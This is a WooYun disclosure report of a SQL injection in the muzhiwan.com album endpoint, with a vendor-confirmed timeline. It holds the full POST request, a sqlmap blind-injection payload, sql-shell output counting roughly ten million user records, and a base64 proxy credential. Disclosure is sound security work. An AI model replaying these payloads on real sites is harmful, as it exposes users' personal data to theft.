当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0159619

漏洞标题:拇指玩主站SQL注入涉及千万用户数据

相关厂商:muzhiwan.com

漏洞作者: greg.wu

提交时间:2015-12-09 14:59

修复时间:2016-01-23 15:16

公开时间:2016-01-23 15:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-09: 细节已通知厂商并且等待厂商处理中
2015-12-10: 厂商已经确认,细节仅向厂商公开
2015-12-20: 细节向核心白帽子及相关领域专家公开
2015-12-30: 细节向普通白帽子公开
2016-01-09: 细节向实习白帽子公开
2016-01-23: 细节向公众公开

简要描述:

拇指玩主站注入涉及千万用户数据

详细说明:

主站的post注入,涉及25个库,千万用户数据

POST /index.php?action=album&opt=updateAlbum HTTP/1.1
Host: www.muzhiwan.com
Proxy-Connection: keep-alive
Content-Length: 101
Proxy-Authorization: Basic Z3JlZzoxMjNhYmM=
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.muzhiwan.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.muzhiwan.com/index.php?action=album&opt=getAlbum&aid=4775
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: _gat=1; bdshare_firstime=1449697749216; PHPSESSID=432bxxxxxxxxxx3
vid=87875&album_type=undefined&album_title=11&album_des=111&pid=undefined&album_Competence=0&aid=4775


参数aid存在mysql 数字型盲注

漏洞证明:

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: aid (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: vid=87875&album_type=undefined&album_title=11&album_des=111&pid=undefined&album_Competence=0&aid=(SELECT (CASE WHEN (8460=8460) THEN 8460 ELSE 8460*(SELECT 8460 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
[05:59:58] [INFO] testing MySQL
[05:59:58] [INFO] confirming MySQL
[05:59:58] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.14
back-end DBMS: MySQL >= 5.0.0
[05:59:58] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select count(*) from mzw.mzw_users
[06:03:24] [INFO] fetching SQL SELECT statement query output: 'select count(*) from mzw.mzw_users'
[06:03:24] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[06:03:24] [INFO] retrieved:
[06:03:27] [WARNING] reflective value(s) found and filtering out
10354584
select count(*) from mzw.mzw_users: '10354584'
sql-shell>

修复方案:

过滤

版权声明:转载请注明来源 greg.wu@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-12-10 12:08

厂商回复:

十分感谢,会及时修复

最新状态:

暂无